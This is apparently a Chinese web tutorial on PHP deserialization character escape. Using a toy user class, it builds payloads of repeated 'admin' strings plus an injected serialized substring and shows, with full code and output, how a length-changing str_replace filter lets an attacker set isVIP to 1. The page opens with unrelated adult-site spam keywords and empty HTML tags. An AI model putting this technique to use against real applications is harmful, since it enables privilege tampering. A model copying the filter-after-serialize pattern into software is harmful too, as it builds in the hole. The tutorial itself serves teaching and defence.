久久久久久久视色,久久电影免费精品,中文亚洲欧美乱码在线观看,在线免费播放AV片

<center id="vfaef"><input id="vfaef"><table id="vfaef"></table></input></center>

    <p id="vfaef"><kbd id="vfaef"></kbd></p>

    
    
    <pre id="vfaef"><u id="vfaef"></u></pre>

      <thead id="vfaef"><input id="vfaef"></input></thead>

    1. 站長資訊網(wǎng)
      最全最豐富的資訊網(wǎng)站

      深入了解PHP中反序列化字符逃逸的原理

      深入了解PHP中反序列化字符逃逸的原理

      PHP反序列化字符逃逸的原理

      當(dāng)開發(fā)者使用先將對象序列化,然后將對象中的字符進(jìn)行過濾,最后再進(jìn)行反序列化。這個時候就有可能會產(chǎn)生PHP反序列化字符逃逸的漏洞。

      詳解PHP反序列化字符逃逸

      對于PHP反序列字符逃逸,我們分為以下兩種情況進(jìn)行討論。

      • 過濾后字符變多

      • 過濾后字符變少

      過濾后字符變多

      假設(shè)我們先定義一個user類,然后里面一共有3個成員變量:usernamepassword、isVIP。

      class user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0;   } }

      可以看到當(dāng)這個類被初始化的時候,isVIP變量默認(rèn)是0,并且不受初始化傳入的參數(shù)影響。

      接下來把完整代碼貼出來,便于我們分析。

      <?php class user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0;   } } $a = new user("admin","123456"); $a_seri = serialize($a); echo $a_seri; ?>

      這一段程序的輸出結(jié)果如下:

      O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

      可以看到,對象序列化之后的isVIP變量是0。

      這個時候我們增加一個函數(shù),用于對admin字符進(jìn)行替換,將admin替換為hacker,替換函數(shù)如下:

      function filter($s){ return str_replace("admin","hacker",$s); }

      因此整段程序如下:

      <?php class user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0;   } } function filter($s){ return str_replace("admin","hacker",$s); } $a = new user("admin","123456"); $a_seri = serialize($a); $a_seri_filter = filter($a_seri); echo $a_seri_filter; ?>

      這一段程序的輸出為:

      O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

      這個時候我們把這兩個程序的輸出拿出來對比一下:

      O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}  //未過濾 O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}  //已過濾

      可以看到已過濾字符串中的hacker與前面的字符長度不對應(yīng)了

      s:5:"admin"; s:5:"hacker";

      在這個時候,對于我們,在新建對象的時候,傳入的admin就是我們的可控變量

      接下來明確我們的目標(biāo):將isVIP變量的值修改為1

      首先我們將我們的現(xiàn)有子串目標(biāo)子串進(jìn)行對比:

      ";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}  //現(xiàn)有子串 ";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}  //目標(biāo)子串

      也就是說,我們要在admin這個可控變量的位置,注入我們的目標(biāo)子串。

      首先計算我們需要注入的目標(biāo)子串的長度

      ";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //以上字符串的長度為47

      因為我們需要逃逸的字符串長度為47,并且admin每次過濾之后都會變成hacker,也就是說每出現(xiàn)一次admin,就會多1個字符。

      因此我們在可控變量處,重復(fù)47admin,然后加上我們逃逸后的目標(biāo)子串,可控變量修改如下:

      adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}

      完整代碼如下:

      <?php class user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0;   } } function filter($s){ return str_replace("admin","hacker",$s); } $a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}','123456'); $a_seri = serialize($a); $a_seri_filter = filter($a_seri); echo $a_seri_filter; ?>

      程序輸出結(jié)果為:

      O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

      我們可以數(shù)一下hacker的數(shù)量,一共是47hacker,共282個字符,正好與前面282相對應(yīng)。

      后面的注入子串也正好完成了逃逸。

      反序列化后,多余的子串會被拋棄

      我們接著將這個序列化結(jié)果反序列化,然后將其輸出,完整代碼如下:

      <?php class user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0;   } } function filter($s){ return str_replace("admin","hacker",$s); } $a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}','123456'); $a_seri = serialize($a); $a_seri_filter = filter($a_seri); $a_seri_filter_unseri = unserialize($a_seri_filter); var_dump($a_seri_filter_unseri); ?>

      程序輸出如下:

      object(user)#2 (3) {   ["username"]=> string(282) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker"   ["password"]=> string(6) "123456"   ["isVIP"]=> int(1) }

      可以看到這個時候,isVIP這個變量就變成了1,反序列化字符逃逸的目的也就達(dá)到了。

      過濾后字符變少

      上面描述了PHP反序列化字符逃逸中字符變多的情況。

      以下開始解釋反序列化字符逃逸變少的情況。

      首先,和上面的主體代碼還是一樣,還是同一個class,與之有區(qū)別的是過濾函數(shù)中,我們將hacker修改為hack。

      完整代碼如下:

      <?php class user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0;   } } function filter($s){ return str_replace("admin","hack",$s); } $a = new user('admin','123456'); $a_seri = serialize($a); $a_seri_filter = filter($a_seri); echo $a_seri_filter; ?>

      得到結(jié)果:

      O:4:"user":3:{s:8:"username";s:5:"hack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

      同樣比較一下現(xiàn)有子串目標(biāo)子串

      ";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}  //現(xiàn)有子串 ";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}  //目標(biāo)子串

      因為過濾的時候,將5個字符刪減為了4個,所以和上面字符變多的情況相反,隨著加入的admin的數(shù)量增多,現(xiàn)有子串后面會縮進(jìn)來。

      計算一下目標(biāo)子串的長度:

      ";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}  //目標(biāo)子串 //長度為47

      再計算一下到下一個可控變量的字符串長度:

      ";s:8:"password";s:6:" //長度為22

      因為每次過濾的時候都會少1個字符,因此我們先將admin字符重復(fù)22遍(這里的22遍不像字符變多的逃逸情況精確,后面可能會需要做調(diào)整)

      完整代碼如下:(這里的變量里一共有22個admin

      <?php class user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0;   } } function filter($s){ return str_replace("admin","hack",$s); } $a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','123456'); $a_seri = serialize($a); $a_seri_filter = filter($a_seri); echo $a_seri_filter; ?>

      輸出結(jié)果:

      注意:PHP反序列化的機(jī)制是,比如如果前面是規(guī)定了有10個字符,但是只讀到了9個就到了雙引號,這個時候PHP會把雙引號當(dāng)做第10個字符,也就是說不根據(jù)雙引號判斷一個字符串是否已經(jīng)結(jié)束,而是根據(jù)前面規(guī)定的數(shù)量來讀取字符串。

      O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

      這里我們需要仔細(xì)看一下s后面是105,也就是說我們需要讀取到105個字符。從第一個引號開始,105個字符如下:

      hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:

      深入了解PHP中反序列化字符逃逸的原理

      也就是說123456這個地方成為了我們的可控變量,在123456可控變量的位置中添加我們的目標(biāo)子串

      ";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}  //目標(biāo)子串

      完整代碼為:

      <?php class user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0;   } } function filter($s){ return str_replace("admin","hack",$s); } $a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}'); $a_seri = serialize($a); $a_seri_filter = filter($a_seri); echo $a_seri_filter; ?>

      輸出:

      O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}

      仔細(xì)觀察這一串字符串可以看到紫色方框內(nèi)一共107個字符,但是前面只有顯示105

      深入了解PHP中反序列化字符逃逸的原理

      造成這種現(xiàn)象的原因是:替換之前我們目標(biāo)子串的位置是123456,一共6個字符,替換之后我們的目標(biāo)子串顯然超過10個字符,所以會造成計算得到的payload不準(zhǔn)確

      解決辦法是:多添加2admin,這樣就可以補(bǔ)上缺少的字符。

      修改后代碼如下:

      <?php class user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0;   } } function filter($s){ return str_replace("admin","hack",$s); } $a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}'); $a_seri = serialize($a); $a_seri_filter = filter($a_seri); echo $a_seri_filter; ?>

      輸出結(jié)果為:

      O:4:"user":3:{s:8:"username";s:115:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}

      分析一下輸出結(jié)果:

      深入了解PHP中反序列化字符逃逸的原理

      可以看到,這一下就對了。

      我們將對象反序列化然后輸出,代碼如下:

      <?php class user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0;   } } function filter($s){ return str_replace("admin","hack",$s); } $a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}'); $a_seri = serialize($a); $a_seri_filter = filter($a_seri); $a_seri_filter_unseri = unserialize($a_seri_filter); var_dump($a_seri_filter_unseri); ?>

      得到結(jié)果:

      object(user)#2 (3) {   ["username"]=> string(115) "hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:""   ["password"]=> string(6) "123456"   ["isVIP"]=> int(1) }

      可以看到,這個時候isVIP的值也為1,也就達(dá)到了我們反序列化字符逃逸的目的了

      推薦學(xué)習(xí):《PHP視頻教程》

      贊(0)
      分享到: 更多 (0)
      網(wǎng)站地圖   滬ICP備18035694號-2    滬公網(wǎng)安備31011702889846號